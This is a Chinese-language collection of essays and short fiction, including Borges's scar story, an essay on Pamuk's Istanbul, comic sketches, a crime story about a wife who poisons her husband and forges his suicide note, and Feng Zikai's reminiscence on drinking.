　　很多年轻人会说：平淡的生活哪里有幸福可言。对此，我们倒有不同的意见。罗素先生曾说：真正的幸福来自于建设性的工作。人能从毁灭里得到一些快乐，但这种快乐不能和建设带来的快乐相比。只有建设的快乐才能无穷无尽，毁灭则有它的极限。夸大狂和自恋都不能带来幸福，与此相反，它正是不幸的源泉。我们希望能远离偏执，从建设性和创造性的工作中获取幸福。创造性工作的快乐只有少数人才能获得，而我们恰恰有幸得到了可望获得这种快乐的机会——那就是做一个知识分子。

　　转眼之间，我们从国外回来已经快八年了。对于当初回国的决定，我们从没有后悔过。这丝毫不说明我们比别人爱国。生活在国内的人，对祖国的感情反倒不像海外学人表现得那么强烈。假如举行爱国主义征文比赛，国内的人倒不一定能够获奖。人生在世，就如一本打开的书，我们更希望这本书的主题始终如一，不希望它在中途改变题目——到外文化中生活，人生的主题就会改变。与此同时，我们也希望生活更加真切，哪怕是变得平淡也罢，这就是我们回国的原因。这是我们的选择，不见得对别人也适用。

　　假如别人来写这篇文章，可能是从当前的大好形势谈起，我们却在谈内心的感受。你若以为这种谈法层次很低，那也不见得。假如现在形势不大好，我们也不会改变对这个国家的感情。既然如此，就不急着提起。顺便说说，现在国家的形势当然是好的。但从我们的角度看来，假如在社会生活里再多一些理性的态度，再多一些公正和宽容，那就更好了。

　　随着新年钟声响起，我们都又长了一岁。这正是回顾和总结的时机。对于过去的一年，还有我们在世上生活的这些年，总要有句结束语：虽然人生在世会有种种不如意，但你仍可以在幸福与不幸中作选择。

爱是将心比心

刘小昭

　　一对老夫妇，妻子得了绝症，将不久于人世，医生须告知病人她只有3个月的时间。

　　年轻的医生不忍心直接告诉老太太，于是先跟老头说了。

　　老头听了之后说：“能不能别告诉我的妻子？她胆子小，我怕她知道以后会害怕。我还想带她去威尼斯，据说在叹息桥下牵手，下辈子就还会在一起。”

　　医生感动地答应了。结果主治医生知道后却告诉他：告知病人病情是医生的职责。

　　于是，年轻的医生不得不把病情告诉了老太太。

　　老太太出乎意料的平静，她说：“你应该还没把这件事情告诉我丈夫吧，我求你不要这样做。我走了他会很难过的，我们还要去威尼斯。据说在叹息桥下牵手，下辈子就还会在一起……”

　　爱是发觉自己爱上全世界最笨的那个人。

　　当你真的爱上一个人的时候，是否常有这样的感触：

　　他笨手笨脚，他完全照顾不好自己，他一点儿生活自理能力都没有。

　　唉，没有你，他可怎么办……

　　对于爱人，一方面你期望他独当一面、成熟稳重，可以让你托付终身；另一方面，你又略带溺爱地担心他弄脏衣服，忘带东西，吃不饱饭，睡不好觉。

　　就如同一面期望他有40岁的成熟，又一面把他当3岁孩子来照顾。

　　亦舒说喜欢一个人，就总觉着他是天底下最笨的，处处都要人操心照顾；而对于不喜欢的人，往往觉着他聪明伶俐，丝毫不用我们担心。

　　就好像懂了爱的小王子终于明白，只有4根刺的玫瑰说要防止被老虎吃掉，是一件多么笨的事情。

　　哪怕老虎根本不吃玫瑰，哪怕根本没有老虎，发现自己爱上那朵独一无二的玫瑰的小王子，满脑子想的就是：她只有4根刺呀……

刀疤

博尔赫斯

　　他脸上有一条险恶的伤疤：一道灰白色的、几乎不间断的弧线，从一侧太阳穴横贯到另一侧的颧骨。他的真实姓名无关紧要，塔夸伦博的人都管他叫做红土农场的英国人。那片土地的主人，卡多索，起先不愿意出售。我听说那个英国人出了一个意想不到的主意：他把伤疤的秘密故事告诉了卡多索。英国人来自南里奥格朗德边境地区，不少人说他在巴西干走私买卖。红土农场的土地上荒草丛生，河水苦涩，英国人为了改变这种情况，跟雇工们一起干活。据说他严厉到了残忍的地步，不过办事十分公道。还说他爱喝酒，一年之中有两三次躲在那个有凸肚窗的房间里，猛喝两三天，再露面时像打过一仗或者昏厥之后苏醒过来似的，脸色苍白，两手颤抖，情绪很坏，不过仍旧跟先前一样威严。至今我还记得他冷冰冰的眼神，瘦削精悍的身躯和灰色的小胡子。他跟谁都不来往，他的西班牙语也确实差劲，讲起话来像巴西人。除了偶尔有些商业信函或者小册子以外，从来没有人给他来信。

　　我最近一次在北方省份旅行的时候，遇上卡拉瓜塔河水暴涨，只能在红土农场过夜。没待几分钟，我发现自己来得不是时候；我想讨好那个英国人，便把谈话转到了一个不痛不痒的题目上——爱国主义。我说一个具有英吉利精神的国家是不可战胜的。主人表示同意，可又微笑着补充说他并不是英国人。他是爱尔兰登加凡地方的人。话刚出口，他立刻停住，好像觉得泄漏了一个秘密似的。

　　晚饭后，我们到外面去看看天色。已经放晴了，可是南方尖刀一般的山峰后面的天空，不时被闪电划破，另一场暴风雨正在酝酿。我们回到那个简陋的饭厅，刚才侍候我们吃饭的雇工端来一瓶罗姆酒。我们两人默不作声地喝了好长时间。

　　不知过了多久，我发现自己有点醉意；不知是由于高兴还是由于腻烦，我忽然异想天开，提到了他脸上的伤疤。英国人脸色一沉，有好几秒钟冷场，我以为他准会把我撵出去。最后，他声调一点没有改变，对我说道：

　　“我不妨把这个伤疤的来历告诉你，可是有一个条件：不论情节多么丢人，多么不光彩，都如实讲来，不打折扣。”

　　我当然同意。下面就是他的故事，讲的时候英语夹杂着西班牙语，甚至还有葡萄牙语。

　　1922 年前后，康诺特的一个城里有许多策划争取爱尔兰独立的人，我是其中之一。我当时的伙伴中间，有些人如今仍旧健在，从事和平的工作；有些人说来也怪，目前在海上或者沙漠里为英国旗帜战斗；还有一个最勇敢，拂晓时分在一个军营的场院里被那些睡眼惺忪的士兵枪决了；再有一些（并非最不走运的）在内战默默无闻甚至几乎是秘密的战斗中找到归宿。我们是一伙拥护共和、信奉天主教的人，我想我们还是浪漫主义者。在我们看来，爱尔兰不仅有难以忍受的现在，有乌托邦似的将来，它还是一个辛酸而可爱的神话；有圆塔，有红色的沼泽，是帕内尔（爱尔兰政治家，反抗英国统治、主张爱尔兰自治的领袖之一。）的反抗，是歌颂盗牛的史诗，那些牛有时是英雄的化身，有时又是鱼和山的化身……一天下午，我记得很清楚，有一个成员，一个名叫约翰 · 文森特 · 穆恩的人从芒斯特省来到我们这里。

　　他年纪不到二十岁，又瘦小又窝囊，像无脊椎动物似的叫人看了不舒服。他带着死心眼的狂热熟读了一本不知什么名字的共产主义的小册子，无论谈论什么问题，总是用辩证唯物论来下结论。你有无数理由可以厌恶或者喜欢一个人，穆恩却把全部历史归纳为肮脏的经济冲突。他断言革命注定要胜利。我说仁人志士应当力挽狂澜，站在失败的一方……已经很晚了，我们从走廊、楼梯一直争论到街上。给我深刻印象的不是穆思的观点，而是他那不容置辩的声调。这个新来的同志不是在讨论问题，而是带着轻蔑和愠怒在发号施令。

　　我们走到市区尽头，周围的房屋稀稀落落，这时突然响起一阵枪声，使我们大吃一惊（在这前后，我们经过了一家工厂或者一座军营的围墙）。我们赶紧拐进一条土路。一个士兵从着火的棚屋里出来，映着火光，身躯显得特别高大。他厉声吆喝，叫我们站住，我加快了脚步，我那个伙伴却没有跟上来。我转过身，只见约翰 · 文森特 · 穆恩吓得一动不动，呆若木鸡。我马上再往回跑，一拳把那个士兵打倒在地，使劲推推文森特 · 穆恩，狠狠骂他，叫他跟我走。他吓瘫了，我只得拽住他的胳臂拉着他跑。我们在火光四起的黑夜里夺路而逃，背后响起一阵密集的枪声。穆恩的右臂给一颗子弹擦过，我们逃进小松林时，他竟然抽抽搭搭地哭了起来。

　　那一年，1922 年秋天，我在贝克莱将军的乡间宅第驻防。将军当时在孟加拉担任不知什么行政职务，我从没有见过他。那座房屋盖了还不到一百年，但很破败阴暗，有许多曲折的走廊和无用的前厅。古董摆设和大量藏书占据了底层：那些书百家争鸣，互不相容，在某种意义上说来正好代表了19世纪的历史；波斯尼沙普尔的腰刀缓和的弧线上仿佛还遗留着古战场的风声和残酷。我记得我们是从后院进屋的。穆恩嘴唇颤抖干燥，喃喃地说那晚的经历很有趣；我替他倒了一杯茶，包扎了伤口，发现他挨的那枪只擦破了一点皮肉，没有伤筋动骨。突然，他迷惑不解地说：

　　“可是你冒了很大的危险。”

　　我叫他不必担心（内战的习惯迫使我刚才非那样做不可，何况一个成员被捕有可能危害我们的整个事业）。

　　第二天，穆恩已经恢复了镇静。他接过我给他的一枝烟，然后严格地盘问我，要了解“我们革命党的经济来源”。他提的问题很有条理，我实话实说，告诉他情况很严重。南面枪声激烈。我对穆恩说，伙伴们在等着我们。我的大衣和手枪在我自己的房间里，我取了回来时，发现穆恩两眼紧闭，躺在沙发上，他觉得自己在发烧，诉说肩膀痛得厉害。

　　我明白他已经怯懦到了不可救药的地步，我尴尬地请他自己多加保重，然后向他告别。那个胆小的人叫我害臊，好像胆小鬼是我，不是文森特 · 穆恩。一个人的所作所为和所有的人都有共同之处，因此，把花园里的一次违抗说成是败坏了全人类不是不公平的，说一个犹太人被钉上了十字架就足以拯救全人类也不是不公平的。（这里指《圣经》中人类始祖亚当和夏娃违犯上帝命令吃了禁果，被逐出伊甸园和耶稣被钉十字架的故事。）叔本华的名言：我即他人，人皆众生，也许有道理。从某种意义上说，莎士比亚就是那个可悲的约翰 · 文森特 · 穆恩。

　　我们在将军的大宅里待了九天。关于战争的痛苦和希望我不想评论，我的目的是叙说这条使我破相的伤疤。那九天在我的记忆中似乎成了一天，除了最后第二天。那天，我们的人冲进了一座军营，杀了十六个士兵，替我们在艾尔芬被机枪扫射死去的十六个同志报了仇。天蒙蒙亮的时候，我从那座房子里溜了出来，傍晚才回去。我的伙伴在二楼等我，他因为伤痛不能下到底层。我记得他手里拿着一本有关战略的书，毛德或者克劳塞维茨的作品。有一晚，他曾对我说过：“我最喜欢的武器是大炮。”他打听我们的计划，夸夸其谈地加以批评或者修改。他还经常抨击“我们可悲的经济基础”，武断而阴沉地预言结局肯定一团糟。他嘀咕着说：“这件事完蛋了。”他为了表明并不介意自己肉体的懦弱，竭力显示头脑的敏锐。我们就这样好歹过了九天。

　　第十天，爱尔兰皇家警察辅助部队完全控制了城市。高大的骑兵悄悄地在街上巡逻，风中夹着灰烟；我从街角望见广场中央吊着一具尸体，仿佛软荡荡的人体模型，士兵们拿它当靶子，不停地练习枪法……我那天清晨出门，午前就回来了。穆恩在图书室里和谁正讲着话，我听声调知道他在打电话。我听见他提到我的名字，接着又说我晚上七点钟回来，还出点子说可以等我穿过花园时逮捕我。我那位十分理智的朋友正在十分理智地出卖我。我还听到他要求保证他的人身安全。

　　故事的头绪到这里就乱了，也断了。我只记得那个告密者要逃跑，我穿过梦魔似的黑走廊和使人晕眩的长楼梯穷追不舍。穆恩很熟悉房子的布局，比我清楚得多，有几次几乎被他逃脱。但在士兵们抓住我之前，我把他逼到一个死角。我从墙上将军的兵器摆设中抽出一把弯刀，用那半月形的钢刃在他脸上留下了一条半月形的永不消退的血的印记。“博尔赫斯，你我虽然素昧平生，我把这事的真相告诉了你。你尽可以瞧不起我，我不会难受的。”

　　他说到这里停住了。我发现他的手在颤抖。

　　“穆恩后来怎么啦？”我问道。

　　“他领到了犹大（犹大，耶稣十二门徒之一，后出卖耶稣，得到三十枚银币。）的赏钱，逃到巴西去了。那天下午，他看到几个喝醉的士兵在广场上把一个模型似的人当靶子射击。”

　　我等他讲下去，可是半晌没有下文。最后我请他往下讲。

　　于是他呻吟一声，怜惜地把那条弯曲的灰白伤疤指给我看。

　　“难道你不信吗？”他喃喃地说，“难道你没有看到我脸上带着卑鄙的印记吗？我用这种方式讲故事，为的是让你能从头听到完。我告发了庇护我的人，我就是文森特 · 穆恩。现在你蔑视我吧。”

　　1942 年

一座城市的记忆

奥罕 · 帕慕克

　　我一直相信，每一座伟大的城市都需要一个伟大的作家去写出它的灵魂和故事，真正让我们能够把握这座城市的本质。比如说都柏林有乔艾斯，布拉格有卡夫卡，里斯本有佩索，北京有老舍，上海有张爱玲，巴黎、伦敦、纽约，这些灿烂光辉的大都会，有更多的作家去写它们的故事。

　　而伊斯坦布尔，终于现在它有了属于它的奥罕 · 帕幕克。奥罕 · 帕幕克就是去年（2006年）诺贝尔文学奖的得主，这位土耳其作家，写了非常多关于土耳其历史的作品。最近有本书，很多人也开始在看，就是《伊斯坦布尔》。

　　关于伊斯坦布尔这座城市，它曾经是东罗马帝国，也就是拜占庭帝国的首都，曾经是鄂图慢土耳其帝国的首都，今天它也是土耳其最重要的大城市。这么一个千年古成，它到底是一个什么样的城市？我们该怎么去把握它，怎么去认识它？可以把它想象成，它就是一个败落的，已经失去了大都会光芒的一座城市。对于这种前朝帝都，我向来有一种很深的向往和迷恋。我总觉得走在一个已经逝去的王朝，曾经辉煌过的首都里面，是一种很特别的感觉。你觉得一切的光荣，一切的辉煌都属于过去，而它们留下的只是阴影，就在这个城市的每一个角落里面。

　　奥罕 · 帕幕克，这位土耳其伟大的作家，他掌握到的伊斯坦布尔，就是这样的一种状态，这样一种光辉不再的状态，而这样的状态，他把它叫做呼愁（土耳其语，忧伤之意）。什么叫呼愁呢？呼愁其实是土耳其文，原来是来自伊斯兰教里面的一种观念，意思就是跟真主脱离了关系的一种失落感，这种失落感，你可以把它想的不一定跟宗教有关，跟神学有关。它其实也代表的是集体，是社会，一个城市群体，甚至一个民族群体，觉得对于群体目标再也不明确，跟它失去关系了，好象每个人都该带着一种很忧伤的失落感。而这种失落感不是个人的，是群体的，那么这就是它跟忧伤最不一样的地方了。

　　帕幕克怎么去写伊斯坦布尔的这种忧伤呢？他举了一个例子，觉得很好玩。他引述了一些不同的作家，把他们拼凑起来，就说，这个世界上面有些城市，也是千年古城，但是这些城市的居民会觉得现在自己生活仍然很好，自己的城市仍然很兴旺很发达，所以他非常骄傲和自信。比如说像瑞士的日内瓦，如果你在日尔瓦的街上面问路的时候，日内瓦的居民会这样子跟你形容。就说，来，先生，你直走，看到一条青红色的漂亮的路灯，旁边就是那座壮观美丽的喷泉。过了那个喷泉之后再右走如何如何，是这样子来形容的。换句话说，住在这个城市里面的人，他会形容自己的路灯、喷泉是壮观的，美丽的，优雅的。

　　换作一个伊斯坦布尔的人会怎么跟你指路呢？就是，先生，你往前直走，你看到那座帕下的王邸。帕下是什么？就是以前的鄂图慢土耳其帝国的王公贵族，那些大臣他们住的房子。经过那栋房子，那栋房子已经烂了。再转过去，看到一片颓桓败瓦，那个破屋子，往直走就是了，你就感觉到这个城市充满了废墟。但最重要的是什么？这个废墟讲的还不是一种固体上的建筑物，而是种心理上的废墟。他用了非常长的一大段文字来形容这种废墟的感觉，这种感觉就叫做呼愁（土耳其语，忧伤之意）。

　　他描述出来的伊斯坦布尔不是一个五颜六色的大都会，而是一片隔着雾水的玻璃看出去的这么一个幽暗的，忧伤的一个城市，看到的景象总是黑白的。但这个城市在他的笔下却变得更加迷人了。很多人觉得，土耳其人都觉得这个奥罕 · 帕幕克有时候丑化了他们的国家，特别强调了一些政治上面，比如说土耳其政治曾经屠杀库尔德人，那么他很勇敢的写了出来。

　　所以当他拿到诺贝尔文学奖的时候，很多人就去问土耳其政府，说你们曾经控告过这个作家，说他侮辱了你们国家，损坏了国家的尊严。他如今拿到诺贝尔文学奖了，你们怎么看呢？结果土耳其的文化部的副部长出来说了一番很得体的话。他说，众所周知，每一位诺贝尔文学奖的得主，都会关于他的国家的政治状况，说出一番很重要的话。我们不介意他曾经说过什么，最重要的是，他现在是我们土耳其人的骄傲。

买牛肉须知

姬中宪

　　众所周知，我们要去欧洲旅游了，听说欧洲特小气，宾馆里点心都要钱，要是走在路上饿了，想吃个法国排档、西班牙地摊什么的，根本不可能，非得脖子里系上围脖正儿八经吃西餐，一顿吃你个成百上千欧的，不划算。想吃泡面？想得美！就知道中国人好这口，早预备好了，宾馆里压根没开水！想去买开水？开水比泡面还贵，想吃干脆面？欧洲湿气大，干脆面早成了油面锦。总之吧，要么吃他们的，要么自备干粮。

　　我们决定自备干粮。临行前，老婆让我去超市买点牛肉，牛肉营养好，热量高，能撑时候，适合旅途中吃。我出了门，老婆打来电话，说：忘记跟你讲了，要买牛棚公司出品的哦，别的牌子都不好，用的不是病牛就是疯牛，还有上了年纪的牛。我到了超市，刚拿到一辆购物车，老婆又来电话了，说：忘记跟你讲了，牛棚的牛肉也有很多种的，要买“很熊”系列的，电视广告上整天演，你记得吗，一头熊搂着一头牛，牛对熊说，哥你很牛，熊对牛说，兄弟你很熊，两人掏出一包牛肉，一起说：很熊牛肉！就是熊！记住了吗？

　　我推着购物车到了食品区，我的天，光牛肉就有好几架，看得我眼花，我向导购打听牛棚在哪，人家把我带过去，我又晕了，牛棚有整整一货架，真想不到一头牛能变出那么多花样，我顺着标签找，找了也就半个钟头吧，找到了“很熊”系列，又一惊，号称很熊的牛肉也有一大排，有大的有小的有方的有圆的，到底买哪一种？实践告诉我，这种时候最好打电话问一下，免得惹麻烦，我打给老婆，老婆说：外出旅游当然是便携式的好，就买颗粒状的吧，一口一个吃起来方便，什么？不知道什么叫颗粒状？你小时候没吃过奶糖吗？什么？小时候的事都忘了？那你没见别的小朋友吃吗？就是一颗一颗像奶糖一样包装的呀！我挂了电话，也就找了二十来分钟吧，找到了颗粒状，一颗一颗还真像奶糖，也不知谁想出这馊主意，还真不错。我高高兴兴拿了一包想去付钱，突然我灵机一动，想颗粒状会不会还有别的种类呢？保险起见我又折回去看了一下，万幸啊！上面一排也是颗粒状的，区别在于口味不同，买哪一种呢？经验提醒我，这种时候最好打一个电话，打了就可以免责，不打一定问责，于是我打给老婆，老婆说：外出容易上火，最好不要买麻辣的，就买沙嗲味的吧。于是我买了沙嗲的，高高兴兴去排队付钱。

　　快排到我的时候，老婆又来电话，说：忘记跟你讲了，沙嗲味的容易添加牛肉精粉，所以你要买脱氢醋酸钠型的，什么？不知道怎么写？脱是脱衣服的脱，氢是氢气的氢氢弹的氢，醋就是你最爱吃醋的醋，酸就是我经常心酸的酸，钠就是我整天叫你少放点盐的那个氯化钠的钠！明白了吗？我挂了电话，赶紧往牛棚跑，天哪，她是学化学的吗？明明是我的夫人，怎么整得跟居里夫人似的？

　　不过我还是凭着我的聪明和智慧圆满完成了任务，买回了我们家指定的牛肉。老婆拿过去，看了一眼就扔回给我，说：我跟你说过多少回了牛棚公司出品的、“很熊”系列的、颗粒状的、沙嗲味的、脱氢醋酸钠型的――很难记吗？你看看你买的是什么？我拿过来一看，晕了，刚才一着急，我跑错货架了，拿了一包“很能”系列的就回来了。要知道，很能和很熊，不是差一点，差四点呢！

见义勇为

维克多 · 科克留什金

　　每次去费奥法诺夫家做客，我都有这样一种感觉：尽管我们已相识多年，但彼此还不是十分了解。上个星期天，我们去费奥法诺夫家庆祝他通过了博士论文答辩。在我们热烈地祝贺后，他却说：“通过了论文答辩，这当然是一件值得骄傲的事。但是我现在想，在其他方面，我是否也能表现得像个真正的男子汉呢？举个例子吧，假如我在河边走的时候，看见有一个人落水了，我能不能……”

　　“冬天还是夏天？”戈列梅金的妻子问。

　　“是冰天雪地的冬天！”费奥法诺夫一脸严肃地说。

　　“如果是我，我会这么做，”戈列梅金从桌子后站了起来，激动得双手直颤抖，“我要迅速在附近找个什么救生设备扔给落水者，然后赶紧去打电话求救！”

　　他说完就坐了下来，房间里一片寂静。戈列梅金的妻子温柔地看了丈夫一眼，把盘子往他眼前推了推。

　　“要是我嘛……”谢尔加切夫不慌不忙地从座位上站了起来，慢条斯理地说。

　　“您会怎么样？”众人忍不住齐声追问。

　　“我就先脱了鞋，再摘下帽子、围巾……”谢尔加切夫浑厚的声音再度响起。

　　“大衣就别脱了！”他的妻子急忙喊。

　　“脱下大衣，夹克，”谢尔加切夫没理会妻子，继续说着，“然后就跳下水去！”

　　所有女人脸上都容光焕发，而男人的表情则阴郁起来。我也不由自主地攥紧了拳头，还把上衣的扣子解开了一颗。

　　突然，库济明站了起来，他声音低沉地说：“我不仅要把落水者救上来，而且还要冒着随时都可能倒下去的危险，背着落水者跑 10 公里，把他送到医疗点！”

　　“为什么是 10 公里？”戈列梅金的妻子问。但谁也没顾得上回答她问题，大家都被库济明的英勇行为深深地打动了。

　　“如果是我，”这时，谢辽沙开口了，“我会用我身上仅有的一根火柴，点起篝火，烧一壶开水，然后再……”

　　我本想跟她解释，也许哪个地方有冰窟窿吧。但我想了想，还是什么也没说。反正小孩子什么也不懂。

赌徒的遗书

希区柯克

　　你的丈夫死了，你该怎么处理遗书？看完遗书后你又该怎么办？跑出卧室，把直挺挺的人体留在床上，难道你不害怕吗？伊夫琳麻木地问着自己。

　　她把遗书扔在厨房桌上，看着它，心里明白，遗书必须交给警方做证据。

　　现在她想起来了，应该报警。她僵直地走到墙边，取下电话，对着话筒里的嗡嗡声说：“我要报案，我丈夫自杀了。”

　　话筒里的嗡嗡声继续响着，像是在嘲弄她，她开始号啕大哭，同时拨通警察局。

　　伊夫琳有生以来还没有给警察局打过电话。记得有一次后院有个人影，母亲误认为是窃贼，打电话报了警，结果是父亲酒后踉踉跄跄地回来，误把鸡窝的门当成厨房门。那次他们为这件事笑了好长时间。

　　父亲出了不少类似的笑话丢人现眼，在家乡那个农场里，大家笑过就算了。但是那些事都不像眼前这件事这样可怕，而且还这么丑陋。

　　伊夫琳走到门外，去了梅丽的家。

　　警察都很好，他们很仁慈、和善，很会安慰人，做事利落，技术高超。他们的动作就像她小时候接受女童子军训练那么规范。她对自己说，今后再也不信别人嘲笑警察无能的话了。

　　现在，警察都离开了，每个人都离去了，连她热爱的丈夫卢克也离去了，永远离去了。

　　他们用担架把他抬走，好心的邻居梅丽握着她的手，劝她不要太痛苦，她说人一生遇到的每件事都有道理。

　　那天有很多的人来，警察取走了卢克的咖啡杯子，里面还留有咖啡残渣；记者；还有卢克工作的那家银行的职员；还有邻居们。

　　但是现在他们全走了，连好朋友梅丽也走了。梅丽有家，要做晚饭，还有两个小女儿要照顾，她答应过会儿再来。如今，只剩下伊夫琳孤零零一个人。

　　她坐在厨房桌边，看着墙上挂着的一块薄金属板，上面刻着有趣的字眼：“上帝降福吾宅”。她把视线移到厨房正面的挂钟上，时间是六点三十分，平常每到这时刻，卢克就会按响门铃，然后冲进来告诉她一天经历过的事。

　　事情是从什么时候开始的？从什么时候开始。她把他每天的下班称为“灾祸”？

　　当然。所谓的灾祸并不那么可怕。卢克爱热闹，很健谈，长得年轻英俊，却入不敷出，又喜欢结交一些如她母亲说的“问题朋友”。其实哈罗德也不是不好，他有九个孩子和一位当公司董事长的妻子，哈罗德爱赌马，如此而已。

　　今后再也听不到卢克的笑声，看不见他走进厨房说伊夫琳是全市最可爱的唠叨者了。欢乐过去了，恐惧和恶兆也都过去了，剩下的是忧伤和羞耻。伊夫琳双臂搁在桌子上，头埋在臂弯里，呜呜咽咽地哭起来。

　　警察局的罗杰警官事后说，他按了三次门铃，又使劲敲门，心里都开始紧张起来，伊夫琳才满脸泪痕地来开门。

　　她请他进入整洁的小起居室。事实上，看见这位警察时她就放下心来。他几乎和她的父亲年纪一样大，至少是她记忆中的父亲的年龄。她心中涌起一股冲动，想向他保证，她可以从丈夫的去世带来的悲伤中熬过去，继续生活下去。

　　“卢克是个仁慈可爱的人，”当他们坐下来喝咖啡时，她平静地说，“他从没有伤害过我，从没骂过我，都是我骂他。他只是……”她抬起头看着天花板，“我想你可以称他是个无法自制的赌徒，我意思是，他真是不能自制。你相信吗，罗杰先生？”

　　他点点头说：“当然，我相信，这种人相当普遍，他们什么都要赔。即使他现在坐在这里，可能也要和我赌，赌五分钟之内会有电话铃响。我认识一个人——实际上是我的一位老乡，他太太在医院生孩子，他去医院看太太，看见病房里有玫瑰花，他就和护土打赌：第二天早上，有两朵蓓蕾会开花，然后脑中便只有蓓蕾，没有婴儿。第二天上午再到医院去收赌金，你说怪不怪？”

　　伊夫琳同意他的话：“卢克就是那样。我曾经告诉过他，有像‘戒酒会’那样的‘戒赌会’……”

　　罗杰警官笑笑说：“我那位老乡就加入了那个会，而且受益匪浅。”

　　“卢克根本不参加。他说：‘宝贝儿，你想破坏我的生活乐趣吗？我只不过是玩玩罢了。’”她的声音开始发抖，“可是，当他开始挪用公款去赌时，那可就不是玩玩了。真造孽，一个不能自制的赌徒居然在银行工作。”

　　伊夫琳站起来，烦躁地在屋里来回走着，双手不停地拨弄黑色的长发。她不知道是不是该告诉警官昨夜他们夫妻吵架的事。当时她骂丈夫说：“有些人把名誉看得比生命还重要，失去名誉比死了还糟，我碰巧就是这种人！”

　　她正在犹豫，罗杰警官说话了：“银行给我们打了电话，说了短缺公款的事，证实了你说的一切。”

　　她还在想昨天晚上的事，几乎没听进他的话。

　　几星期前他说：“宝贝儿，这回准错不了，这匹马绝对可靠，星期一老头子一上班，钱就都回银行了。”可是，那匹马并不可靠，钱也没有回银行。她深深地吸了口气，第一次有了个想法。

　　“警官先生，你来这儿做什么？”

　　他轻轻拍拍她的手说：“我挺惦记你。我对你有一种特别的同情，因为我有个女儿和你差不多大。现在你想干什么？”

　　伊夫琳想到了未来，她说：“我想回家，回印第安那。其实我是在农村长大的，在州立大学遇见了卢克，他花言巧语把我带到城里。那是三年前的事。我们曾经回家乡一次，但是他讨厌农场，那儿唯一叫他觉得有趣的是母牛生小牛时打赌生公牛还是母牛。”

　　他们静静地坐了一会儿，伊夫琳看着手里的咖啡杯，罗杰警官怜悯地看着她。最后，他从制服口袋里掏出那份遗书，她一看见它就激动起来。

　　“求求你！我不想再看见它！”

　　他温柔地说：“我知道你不想看。但有些事我必须问你。”

　　他打开揉皱的纸，大声读道：“原谅我，亲爱的，你说得对。告诉老头子，我运气不好。’”她小声说：“老头子就是尤金先生，卢克的老板。”

　　罗杰警官慢慢地说：“尤金先生两星期前就退休回他的老家了，你丈夫没有向你提起过吗？”他的两眼盯着她。

　　伊夫琳的脸色和厨房的墙一样白。不，他没有提起过，不论他们之间是甜言蜜语，还是恶语相向，卢克都没有提到老板已退休的事。也许他说过，但她没听到，如果听到的话，就可以挽救她了。

　　唔，事情居然会败在遗书上。把药倒进他的咖啡里已经够可怕的了。他痛苦的呻吟令她心碎，和他的吻别也很凄楚，但没料到最让人难受的还是伪造那简单几个字的遗书露了馅儿。

吃酒

丰子恺

　　酒，应该说饮，或喝。然而我们南方人都叫吃。古诗中有“吃茶”，那么酒也不妨称吃。说起吃酒，我忘不了下述几种情境：

　　二十多岁时，我在日本结识了一个留学生，崇明人黄涵秋。此人爱吃酒，富有闲情逸致。我二人常常共饮。有一天风和日暖，我们乘小火车到江之岛去游玩。这岛临海的一面，有一片平地，芳草如茵，柳阴如盖，中间设着许多矮榻，榻上铺着红毡毯，和环境作成强烈的对比。我们两人踞坐一榻，就有束红带的女子来招待。“两瓶正宗，两个壶烧。”正宗是日本的黄酒，色香味都不亚于绍兴酒。壶烧是这里的名菜，日本名叫tsuboyaki，是一种大螺蛳，名叫荣螺（sazae），约有拳头来大，壳上生许多刺，把刺修整一下，可以摆平，象三足鼎一样。把这大螺蛳烧杀，取出肉来切碎，再放进去，加入酱油等调味品，煮熟，就用这壳作为器皿，请客人吃。这器皿象一把壶，所以名为壶烧。其味甚鲜，确是侑酒佳品。用的筷子更佳：这双筷用纸袋套好，纸袋上印着“消毒割著”四个字，袋上又插着一个牙签，预备吃过之后用的。从纸袋中拔出筷来，但见一半已割裂，一半还连接，让客人自己去裂开来。这木头是消毒过的，而且没有人用过，所以用时心地非常快适。用后就丢弃，价廉并不可惜。我赞美这种筷，认为是世界上最进步的用品。西洋人用刀叉，太笨重，要洗过方能再用；中国人用竹筷，也是洗过再用，很不卫生，即使是象牙筷也不卫生。日本人的消毒割箸，就同牙签一样，只用一次，真乃一大发明。他们还有一种牙刷，非常简单，到处杂货店发卖，价钱很便宜，也是只用一次就丢弃的。于此可见日本人很有小聪明。且说我和老黄在江之岛吃壶烧酒，三杯入口，万虑皆消。海鸟长鸣，天风振袖。但觉心旷神怡，仿佛身在仙境。老黄爱调笑，看见年轻侍女，就和她搭讪，问年纪，问家乡，引起她身世之感，使她掉下泪来。于是临走多给小帐，约定何日重来。我们又仿佛身在小说中了。

　　又有一种情境，也忘不了。吃酒的对手还是老黄，地点却在上海城隍庙里。这里有一家素菜馆，叫做春风松月楼，百年老店，名闻遐迩。我和老黄都在上海当教师，每逢闲暇，便相约去吃素酒。我们的吃法很经济：两斤酒，两碗“过浇面”，一碗冬菇，一碗十景。所谓过浇，就是浇头不浇在面上，而另盛在碗里，作为酒菜。等到酒吃好了，才要面底子来当饭吃。人们叫别了，常喊作“过桥面”。这里的冬菇非常肥鲜，十景也非常入味。浇头的分量不少，下酒之后，还有剩余，可以浇在面上。我们常常去吃，后来那堂倌熟悉了，看见我们进去，就叫“过桥客人来了，请坐请坐！”现在，老黄早已作古，这素菜馆也改头换面，不可复识了。

　　另有一种情境，则见于患难之中。那年日本侵略中国，石门湾沦陷，我们一家老幼九人逃到杭州，转桐庐，在城外河头上租屋而居。那屋主姓盛，兄弟四人。我们租住老三的屋子，隔壁就是老大，名叫宝函。他有一个孙子，名叫贞谦，约十七八岁，酷爱读书，常常来向我请教问题，因此宝函也和我要好，常常邀我到他家去坐。这老翁年约六十多岁，身体很健康，常常坐在一只小桌旁边的圆鼓凳上。我一到，他就请我坐在他对面的椅子上。站起身来，揭开鼓凳的盖，拿出一把大酒壶来，在桌上的杯子里满满地斟了两盅；又向鼓凳里摸出一把花生米来，就和我对酌。他的鼓凳里装着棉絮，酒壶裹在棉絮里，可以保暖，斟出来的两碗黄酒，热气腾腾。酒是自家酿的，色香味都上等。我们就用花生米下酒，一面闲谈。谈的大都是关于他的孙子贞谦的事。他只有这孙子，很疼爱他。说“这小人一天到晚望书，身体不好……”望书即看书，是桐庐土白。我用空话安慰他，骗他酒吃。骗得太多，不好意思，我准备后来报谢他。但我们住在河头上不到一个月，杭州沦陷，我们匆匆离去，终于没有报谢他的酒惠。现在，这老翁不知是否在世，贞谦已入中年，情况不得而知。

